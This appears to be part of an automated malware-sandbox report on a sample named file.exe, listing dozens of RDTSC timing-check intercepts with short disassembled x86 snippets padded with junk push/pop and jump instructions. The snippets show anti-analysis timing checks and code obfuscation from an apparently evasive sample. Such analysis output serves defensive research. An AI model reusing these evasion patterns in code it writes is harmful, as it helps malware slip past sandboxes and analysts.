Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECD06 second address: DECD16 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECD16 second address: DECD21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECD21 second address: DECD25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DECE8E second address: DECEC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C1h 0x00000007 jns 00007F148511F5B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F148511F5C8h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92BA2 second address: D92BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92BA8 second address: D92BF0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F148511F5C0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F148511F5C3h 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F148511F5C4h 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED2E9 second address: DED30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F14847540B9h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED30A second address: DED313 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED313 second address: DED353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jng 00007F14847540A6h 0x0000000f jmp 00007F14847540B1h 0x00000014 jng 00007F14847540A6h 0x0000001a popad 0x0000001b jmp 00007F14847540B9h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED353 second address: DED358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED358 second address: DED35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF29DC second address: DF29E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF193F second address: DF194D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F14847540A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF14E5 second address: DF14E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2438 second address: DF2475 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F14847540BCh 0x00000008 jmp 00007F14847540B4h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007F14847540B2h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2475 second address: DF2479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2479 second address: DF248F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F14847540A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007F14847540A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF80E2 second address: DF80EE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F148511F5BEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6FC2 second address: DF6FDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F14847540B7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6FDE second address: DF6FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6FE4 second address: DF6FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE3B9 second address: DAE3BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE3BF second address: DAE3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE3C3 second address: DAE425 instructions: 0x00000000 rdtsc 0x00000002 je 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F148511F5BCh 0x00000014 jnc 00007F148511F5BCh 0x0000001a lea eax, dword ptr [ebp+12482113h] 0x00000020 mov dword ptr [ebp+1244ED74h], ecx 0x00000026 nop 0x00000027 jp 00007F148511F5D4h 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 jbe 00007F148511F5B6h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE425 second address: D920E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F14847540ACh 0x0000000b popad 0x0000000c nop 0x0000000d add edx, dword ptr [ebp+122D36F5h] 0x00000013 call dword ptr [ebp+122D5470h] 0x00000019 push ebx 0x0000001a jne 00007F14847540ACh 0x00000020 pop ebx 0x00000021 pushad 0x00000022 jbe 00007F14847540B2h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE516 second address: DAE51A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEA87 second address: DAEAEE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 js 00007F14847540B9h 0x0000000e jmp 00007F14847540B3h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 ja 00007F14847540BAh 0x0000001d mov eax, dword ptr [eax] 0x0000001f jo 00007F14847540BDh 0x00000025 jmp 00007F14847540B7h 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEAEE second address: DAEAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEAF4 second address: DAEAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEAF9 second address: DAEB03 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F148511F5BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEB03 second address: DAEB4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F14847540A8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 sub dword ptr [ebp+1244E720h], esi 0x00000027 pushad 0x00000028 sub di, 8AF7h 0x0000002d mov dword ptr [ebp+1246DC83h], edx 0x00000033 popad 0x00000034 push C24F6D66h 0x00000039 push eax 0x0000003a push edx 0x0000003b jno 00007F14847540ACh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEB4C second address: DAEB52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAECF3 second address: DAED48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F14847540AEh 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jnl 00007F14847540B0h 0x00000017 xchg eax, esi 0x00000018 jmp 00007F14847540ABh 0x0000001d nop 0x0000001e push edx 0x0000001f jo 00007F14847540B6h 0x00000025 jmp 00007F14847540B0h 0x0000002a pop edx 0x0000002b push eax 0x0000002c push ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAED48 second address: DAED4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF03B second address: DAF041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF041 second address: DAF045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF44B second address: DAF450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF450 second address: DAF476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F148511F5C7h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF62C second address: DAF632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF899 second address: DAF8C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F148511F5C1h 0x0000000d nop 0x0000000e cmc 0x0000000f lea eax, dword ptr [ebp+12482157h] 0x00000015 sub dword ptr [ebp+1244ED7Bh], ebx 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF8C7 second address: DAF8D1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF8D1 second address: DAF8D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF8D7 second address: DAF955 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F14847540B6h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F14847540A8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 jns 00007F14847540ABh 0x0000002f lea eax, dword ptr [ebp+12482113h] 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F14847540A8h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f mov edi, 2568D260h 0x00000054 nop 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF955 second address: DAF95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF95A second address: D92BA2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F14847540A6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F14847540ABh 0x00000012 nop 0x00000013 xor edi, 321ECCD5h 0x00000019 call dword ptr [ebp+122D2AFFh] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF780C second address: DF7812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7AD1 second address: DF7AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7C33 second address: DF7C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7C37 second address: DF7C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA300 second address: DFA312 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F148511F5BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9FC1 second address: DF9FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F14847540B9h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9FE9 second address: DF9FF3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F148511F5B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9FF3 second address: DF9FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFD119 second address: DFD11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC97E second address: DFC984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC984 second address: DFC99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F148511F5BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F148511F5B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC99F second address: DFC9B1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F14847540AEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCC82 second address: DFCC90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F148511F5B6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCC90 second address: DFCC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCE0B second address: DFCE15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F148511F5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00AB6 second address: E00AE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F14847540B2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00837 second address: E0083B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E048BB second address: E048D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F14847540ACh 0x00000009 push ecx 0x0000000a ja 00007F14847540A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E048D4 second address: E048EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jp 00007F148511F5B6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E048EC second address: E048FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04A2C second address: E04A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04D15 second address: E04D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF29F second address: DAF2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF2A4 second address: DAF2AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF2AA second address: DAF2AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF2AE second address: DAF2B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF2B2 second address: DAF31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F148511F5B8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 jmp 00007F148511F5C7h 0x0000002a jnl 00007F148511F5BCh 0x00000030 push 00000004h 0x00000032 push ebx 0x00000033 jns 00007F148511F5BCh 0x00000039 pop ecx 0x0000003a nop 0x0000003b pushad 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f jc 00007F148511F5B6h 0x00000045 popad 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF31D second address: DAF321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF321 second address: DAF325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04FA5 second address: E04FD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F14847540AFh 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04FD0 second address: E05003 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148511F5C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F148511F5C4h 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05003 second address: E05008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05008 second address: E0500D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0995A second address: E09968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F14847540A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08D81 second address: E08D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08D87 second address: E08DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F14847540B9h 0x00000009 popad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08DA9 second address: E08DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08DAE second address: E08DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F14847540B9h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08DD0 second address: E08DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08DD6 second address: E08DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08DDA second address: E08DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0909C second address: E090A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09378 second address: E09380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09380 second address: E09384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09384 second address: E093C0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F148511F5C9h 0x00000011 jmp 00007F148511F5C7h 0x00000016 rdtsc
